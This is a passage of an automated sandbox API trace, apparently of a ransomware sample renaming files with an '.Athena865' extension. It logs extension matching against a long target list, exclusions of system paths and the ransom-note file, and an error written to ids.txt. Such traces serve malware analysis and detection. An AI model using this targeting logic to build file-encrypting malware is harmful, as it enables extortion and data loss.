(lpString="sqlitedb") returned 8 [0141.127] lstrcmpiW (lpString1="urce.dll", lpString2="sqlitedb") returned 1 [0141.127] lstrlenW (lpString="xml") returned 3 [0141.127] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0141.127] lstrlenW (lpString="$er") returned 3 [0141.127] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0141.127] lstrlenW (lpString="4dd") returned 3 [0141.127] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0141.127] lstrlenW (lpString="4dl") returned 3 [0141.127] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0141.127] lstrlenW (lpString="^^^") returned 3 [0141.127] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0141.127] lstrlenW (lpString="abs") returned 3 [0141.127] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0141.127] lstrlenW (lpString="abx") returned 3 [0141.127] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0141.127] lstrlenW (lpString="accdb") returned 5 [0141.127] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0141.128] lstrlenW (lpString="accdc") returned 5 [0141.128] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0141.128] lstrlenW (lpString="accde") returned 5 [0141.128] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0141.128] lstrlenW (lpString="accdr") returned 5 [0141.128] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0141.128] lstrlenW (lpString="accdt") returned 5 [0141.128] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0141.128] lstrlenW (lpString="accdw") returned 5 [0141.128] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0141.128] lstrlenW (lpString="accft") returned 5 [0141.128] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0141.128] lstrlenW (lpString="adb") returned 3 [0141.128] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0141.128] lstrlenW (lpString="adb") returned 3 [0141.128] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0141.128] lstrlenW (lpString="ade") returned 3 [0141.128] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0141.128] lstrlenW (lpString="adf") returned 3 [0141.128] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0141.128] lstrlenW (lpString="adn") returned 3 [0141.128] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0141.128] lstrlenW (lpString="adp") returned 3 [0141.128] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0141.128] lstrlenW (lpString="alf") returned 3 [0141.128] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0141.128] lstrlenW (lpString="ask") returned 3 [0141.128] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0141.129] lstrlenW (lpString="btr") returned 3 [0141.129] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0141.129] lstrlenW (lpString="cat") returned 3 [0141.129] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0141.129] lstrlenW (lpString="cdb") returned 3 [0141.129] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0141.129] lstrlenW (lpString="ckp") returned 3 [0141.129] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0141.129] lstrlenW (lpString="cma") returned 3 [0141.129] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0141.129] lstrlenW (lpString="cpd") returned 3 [0141.129] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0141.129] lstrlenW (lpString="dacpac") returned 6 [0141.129] lstrcmpiW (lpString1="ce.dll", lpString2="dacpac") returned -1 [0141.129] lstrlenW (lpString="dad") returned 3 [0141.129] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0141.129] lstrlenW (lpString="dadiagrams") returned 10 [0141.129] lstrcmpiW (lpString1="source.dll", lpString2="dadiagrams") returned 1 [0141.129] lstrlenW (lpString="daschema") returned 8 [0141.129] lstrcmpiW (lpString1="urce.dll", lpString2="daschema") returned 1 [0141.129] lstrlenW (lpString="db-journal") returned 10 [0141.129] lstrcmpiW (lpString1="source.dll", lpString2="db-journal") returned 1 [0141.129] lstrlenW (lpString="db-shm") returned 6 [0141.129] lstrcmpiW (lpString1="ce.dll", lpString2="db-shm") returned -1 [0141.129] lstrlenW (lpString="db-wal") returned 6 [0141.129] lstrcmpiW (lpString1="ce.dll", lpString2="db-wal") returned -1 [0141.129] lstrlenW (lpString="dbc") returned 3 [0141.129] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0141.130] lstrlenW (lpString="dbs") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0141.130] lstrlenW (lpString="dbt") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0141.130] lstrlenW (lpString="dbv") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0141.130] lstrlenW (lpString="dbx") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0141.130] lstrlenW (lpString="dcb") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0141.130] lstrlenW (lpString="dct") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0141.130] lstrlenW (lpString="dcx") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0141.130] lstrlenW (lpString="ddl") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0141.130] lstrlenW (lpString="dlis") returned 4 [0141.130] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0141.130] lstrlenW (lpString="dp1") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0141.130] lstrlenW (lpString="dqy") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0141.130] lstrlenW (lpString="dsk") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0141.130] lstrlenW (lpString="dsn") returned 3 [0141.130] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0141.130] lstrlenW (lpString="dtsx") returned 4 [0141.130] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0141.130] lstrlenW (lpString="dxl") returned 3 [0141.131] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0141.131] lstrlenW (lpString="eco") returned 3 [0141.131] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0141.131] lstrlenW (lpString="ecx") returned 3 [0141.131] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0141.131] lstrlenW (lpString="edb") returned 3 [0141.131] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0141.131] lstrlenW (lpString="epim") returned 4 [0141.131] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0141.131] lstrlenW (lpString="fcd") returned 3 [0141.131] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0141.131] lstrlenW (lpString="fdb") returned 3 [0141.131] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0141.131] lstrlenW (lpString="fic") returned 3 [0141.131] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0141.131] lstrlenW (lpString="flexolibrary") returned 12 [0141.131] lstrcmpiW (lpString1="Resource.dll", lpString2="flexolibrary") returned 1 [0141.131] lstrlenW (lpString="fm5") returned 3 [0141.131] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0141.131] lstrlenW (lpString="fmp") returned 3 [0141.131] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0141.131] lstrlenW (lpString="fmp12") returned 5 [0141.131] lstrcmpiW (lpString1="e.dll", lpString2="fmp12") returned -1 [0141.131] lstrlenW (lpString="fmpsl") returned 5 [0141.131] lstrcmpiW (lpString1="e.dll", lpString2="fmpsl") returned -1 [0141.131] lstrlenW (lpString="fol") returned 3 [0141.131] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0141.131] lstrlenW (lpString="fp3") returned 3 [0141.131] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0141.132] lstrlenW (lpString="fp4") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0141.132] lstrlenW (lpString="fp5") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0141.132] lstrlenW (lpString="fp7") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0141.132] lstrlenW (lpString="fpt") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0141.132] lstrlenW (lpString="frm") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0141.132] lstrlenW (lpString="gdb") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0141.132] lstrlenW (lpString="gdb") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0141.132] lstrlenW (lpString="grdb") returned 4 [0141.132] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0141.132] lstrlenW (lpString="gwi") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0141.132] lstrlenW (lpString="hdb") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0141.132] lstrlenW (lpString="his") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0141.132] lstrlenW (lpString="ib") returned 2 [0141.132] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0141.132] lstrlenW (lpString="idb") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0141.132] lstrlenW (lpString="ihx") returned 3 [0141.132] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0141.132] lstrlenW (lpString="itdb") returned 4 [0141.133] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0141.133] lstrlenW (lpString="itw") returned 3 [0141.133] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0141.133] lstrlenW (lpString="jet") returned 3 [0141.133] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0141.133] lstrlenW (lpString="jtx") returned 3 [0141.133] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0141.133] lstrlenW (lpString="kdb") returned 3 [0141.133] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0141.133] lstrlenW (lpString="kexi") returned 4 [0141.133] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0141.133] lstrlenW (lpString="kexic") returned 5 [0141.133] lstrcmpiW (lpString1="e.dll", lpString2="kexic") returned -1 [0141.133] lstrlenW (lpString="kexis") returned 5 [0141.133] lstrcmpiW (lpString1="e.dll", lpString2="kexis") returned -1 [0141.133] lstrlenW (lpString="lgc") returned 3 [0141.133] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0141.133] lstrlenW (lpString="lwx") returned 3 [0141.133] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0141.133] lstrlenW (lpString="maf") returned 3 [0141.133] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0141.133] lstrlenW (lpString="maq") returned 3 [0141.133] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0141.133] lstrlenW (lpString="mar") returned 3 [0141.133] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0141.133] lstrlenW (lpString="marshal") returned 7 [0141.133] lstrcmpiW (lpString1="rce.dll", lpString2="marshal") returned 1 [0141.133] lstrlenW (lpString="mas") returned 3 [0141.133] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0141.133] lstrlenW (lpString="mav") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0141.134] lstrlenW (lpString="maw") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0141.134] lstrlenW (lpString="mdbhtml") returned 7 [0141.134] lstrcmpiW (lpString1="rce.dll", lpString2="mdbhtml") returned 1 [0141.134] lstrlenW (lpString="mdn") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0141.134] lstrlenW (lpString="mdt") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0141.134] lstrlenW (lpString="mfd") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0141.134] lstrlenW (lpString="mpd") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0141.134] lstrlenW (lpString="mrg") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0141.134] lstrlenW (lpString="mud") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0141.134] lstrlenW (lpString="mwb") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0141.134] lstrlenW (lpString="myd") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0141.134] lstrlenW (lpString="ndf") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0141.134] lstrlenW (lpString="nnt") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0141.134] lstrlenW (lpString="nrmlib") returned 6 [0141.134] lstrcmpiW (lpString1="ce.dll", lpString2="nrmlib") returned -1 [0141.134] lstrlenW (lpString="ns2") returned 3 [0141.134] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0141.134] lstrlenW (lpString="ns3") returned 3 [0141.135] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0141.135] lstrlenW (lpString="ns4") returned 3 [0141.135] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0141.135] lstrlenW (lpString="nsf") returned 3 [0141.135] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0141.135] lstrlenW (lpString="nv") returned 2 [0141.135] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0141.135] lstrlenW (lpString="nv2") returned 3 [0141.135] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0141.135] lstrlenW (lpString="nwdb") returned 4 [0141.135] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0141.135] lstrlenW (lpString="nyf") returned 3 [0141.135] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0141.135] lstrlenW (lpString="odb") returned 3 [0141.135] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0141.135] lstrlenW (lpString="odb") returned 3 [0141.135] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0141.135] lstrlenW (lpString="oqy") returned 3 [0141.135] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0141.135] lstrlenW (lpString="ora") returned 3 [0141.135] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0141.135] lstrlenW (lpString="orx") returned 3 [0141.135] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0141.135] lstrlenW (lpString="owc") returned 3 [0141.135] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0141.136] lstrlenW (lpString="p96") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0141.136] lstrlenW (lpString="p97") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0141.136] lstrlenW (lpString="pan") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0141.136] lstrlenW (lpString="pdb") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0141.136] lstrlenW (lpString="pdm") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0141.136] lstrlenW (lpString="pnz") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0141.136] lstrlenW (lpString="qry") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0141.136] lstrlenW (lpString="qvd") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0141.136] lstrlenW (lpString="rbf") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0141.136] lstrlenW (lpString="rctd") returned 4 [0141.136] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0141.136] lstrlenW (lpString="rod") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0141.136] lstrlenW (lpString="rodx") returned 4 [0141.136] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0141.136] lstrlenW (lpString="rpd") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0141.136] lstrlenW (lpString="rsd") returned 3 [0141.136] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0141.137] lstrlenW (lpString="sas7bdat") returned 8 [0141.137] lstrcmpiW (lpString1="urce.dll", lpString2="sas7bdat") returned 1 [0141.137] lstrlenW (lpString="sbf") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0141.137] lstrlenW (lpString="scx") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0141.137] lstrlenW (lpString="sdb") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0141.137] lstrlenW (lpString="sdc") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0141.137] lstrlenW (lpString="sdf") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0141.137] lstrlenW (lpString="sis") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0141.137] lstrlenW (lpString="spq") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0141.137] lstrlenW (lpString="te") returned 2 [0141.137] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0141.137] lstrlenW (lpString="teacher") returned 7 [0141.137] lstrcmpiW (lpString1="rce.dll", lpString2="teacher") returned -1 [0141.137] lstrlenW (lpString="tmd") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0141.137] lstrlenW (lpString="tps") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0141.137] lstrlenW (lpString="trc") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0141.137] lstrlenW (lpString="trc") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0141.137] lstrlenW (lpString="trm") returned 3 [0141.137] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0141.137] lstrlenW (lpString="udb") returned 3 [0141.138] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0141.138] lstrlenW (lpString="udl") returned 3 [0141.138] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0141.138] lstrlenW (lpString="usr") returned 3 [0141.138] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0141.138] lstrlenW (lpString="v12") returned 3 [0141.138] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0141.138] lstrlenW (lpString="vis") returned 3 [0141.138] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0141.138] lstrlenW (lpString="vpd") returned 3 [0141.138] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0141.138] lstrlenW (lpString="vvv") returned 3 [0141.138] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0141.138] lstrlenW (lpString="wdb") returned 3 [0141.138] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0141.138] lstrlenW (lpString="wmdb") returned 4 [0141.138] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0141.138] lstrlenW (lpString="wrk") returned 3 [0141.138] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0141.138] lstrlenW (lpString="xdb") returned 3 [0141.138] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0141.138] lstrlenW (lpString="xld") returned 3 [0141.138] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0141.138] lstrlenW (lpString="xmlff") returned 5 [0141.138] lstrcmpiW (lpString1="e.dll", lpString2="xmlff") returned -1 [0141.138] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.Athena865") returned 80 [0141.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.athena865"), dwFlags=0x1) returned 1 [0141.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0141.140] GetLastError () returned 0x20 [0141.140] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll CreateFile error 32\r\n") returned 100 [0141.140] lstrlenA (lpString="[ERROR] C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll CreateFile error 32\r\n") returned 100 [0141.140] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0141.141] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ee3 [0141.141] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x64, lpOverlapped=0x0) returned 1 [0141.142] CloseHandle (hObject=0x154) returned 1 [0141.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll.athena865"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveintlresource.dll"), dwFlags=0x1) returned 1 [0141.149] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0141.149] CloseHandle (hObject=0x0) returned 0 [0141.149] CloseHandle (hObject=0xffffffff) returned 0 [0141.149] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GROOVE_COL.HXC", cAlternateFileName="GROOVE~1.HXC")) returned 1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2=".") returned 1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="..") returned 1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="windows") returned -1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="bootmgr") returned 1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="temp") returned -1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="pagefile.sys") returned -1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="boot") returned 1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="ids.txt") returned -1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="ntuser.dat") returned -1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="perflogs") returned -1 [0141.149] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2="MSBuild") returned -1 [0141.150] lstrlenW (lpString="GROOVE_COL.HXC") returned 14 [0141.150] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GROOVE_COL.HXC" | out: lpString1="GROOVE_COL.HXC") returned="GROOVE_COL.HXC" [0141.150] lstrlenW (lpString="GROOVE_COL.HXC") returned 14 [0141.150] lstrlenW (lpString="Athena865") returned 9 [0141.150] lstrcmpiW (lpString1="E_COL.HXC", lpString2="Athena865") returned 1 [0141.150] lstrlenW (lpString=".dll") returned 4 [0141.150] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2=".dll") returned 1 [0141.150] lstrlenW (lpString=".lnk") returned 4 [0141.150] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2=".lnk") returned 1 [0141.150] lstrlenW (lpString=".ini") returned 4 [0141.150] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2=".ini") returned 1 [0141.150] lstrlenW (lpString=".sys") returned 4 [0141.150] lstrcmpiW (lpString1="GROOVE_COL.HXC", lpString2=".sys") returned 1 [0141.150] lstrlenW (lpString="GROOVE_COL.HXC") returned 14 [0141.150] lstrlenW (lpString="bak") returned 3 [0141.150] lstrcmpiW (lpString1="HXC", lpString2="bak") returned 1 [0141.150] lstrlenW (lpString="ba_") returned 3 [0141.150] lstrcmpiW (lpString1="HXC", lpString2="ba_") returned 1 [0141.150] lstrlenW (lpString="dbb") returned 3 [0141.150] lstrcmpiW (lpString1="HXC", lpString2="dbb") returned 1 [0141.150] lstrlenW (lpString="vmdk") returned 4 [0141.150] lstrcmpiW (lpString1=".HXC", lpString2="vmdk") returned -1 [0141.150] lstrlenW (lpString="rar") returned 3 [0141.150] lstrcmpiW (lpString1="HXC", lpString2="rar") returned -1 [0141.150] lstrlenW (lpString="zip") returned 3 [0141.150] lstrcmpiW (lpString1="HXC", lpString2="zip") returned -1 [0141.150] lstrlenW (lpString="tgz") returned 3 [0141.150] lstrcmpiW (lpString1="HXC", lpString2="tgz") returned -1 [0141.150] lstrlenW (lpString="vbox") returned 4 [0141.151] lstrcmpiW (lpString1=".HXC", lpString2="vbox") returned -1 [0141.151] lstrlenW (lpString="vdi") returned 3 [0141.151] lstrcmpiW (lpString1="HXC", lpString2="vdi") returned -1 [0141.151] lstrlenW (lpString="vhd") returned 3 [0141.151] lstrcmpiW (lpString1="HXC", lpString2="vhd") returned -1 [0141.151] lstrlenW (lpString="vhdx") returned 4 [0141.151] lstrcmpiW (lpString1=".HXC", lpString2="vhdx") returned -1 [0141.151] lstrlenW (lpString="avhd") returned 4 [0141.151] lstrcmpiW (lpString1=".HXC", lpString2="avhd") returned -1 [0141.151] lstrlenW (lpString="db") returned 2 [0141.151] lstrcmpiW (lpString1="XC", lpString2="db") returned 1 [0141.151] lstrlenW (lpString="db2") returned 3 [0141.151] lstrcmpiW (lpString1="HXC", lpString2="db2") returned 1 [0141.151] lstrlenW (lpString="db3") returned 3 [0141.151] lstrcmpiW (lpString1="HXC", lpString2="db3") returned 1 [0141.152] lstrlenW (lpString="dbf") returned 3 [0141.152] lstrcmpiW (lpString1="HXC", lpString2="dbf") returned 1 [0141.152] lstrlenW (lpString="mdf") returned 3 [0141.152] lstrcmpiW (lpString1="HXC", lpString2="mdf") returned -1 [0141.152] lstrlenW (lpString="mdb") returned 3 [0141.152] lstrcmpiW (lpString1="HXC", lpString2="mdb") returned -1 [0141.152] lstrlenW (lpString="sql") returned 3 [0141.152] lstrcmpiW (lpString1="HXC", lpString2="sql") returned -1 [0141.152] lstrlenW (lpString="sqlite") returned 6 [0141.152] lstrcmpiW (lpString1="OL.HXC", lpString2="sqlite") returned -1 [0141.152] lstrlenW (lpString="sqlite3") returned 7 [0141.152] lstrcmpiW (lpString1="COL.HXC", lpString2="sqlite3") returned -1 [0141.152] lstrlenW (lpString="sqlitedb") returned 8 [0141.152] lstrcmpiW (lpString1="_COL.HXC", lpString2="sqlitedb") returned -1 [0141.152] lstrlenW (lpString="xml") returned 3 [0141.152] lstrcmpiW (lpString1="HXC", lpString2="xml") returned -1 [0141.152] lstrlenW (lpString="$er") returned 3 [0141.152] lstrcmpiW (lpString1="HXC", lpString2="$er") returned 1 [0141.152] lstrlenW 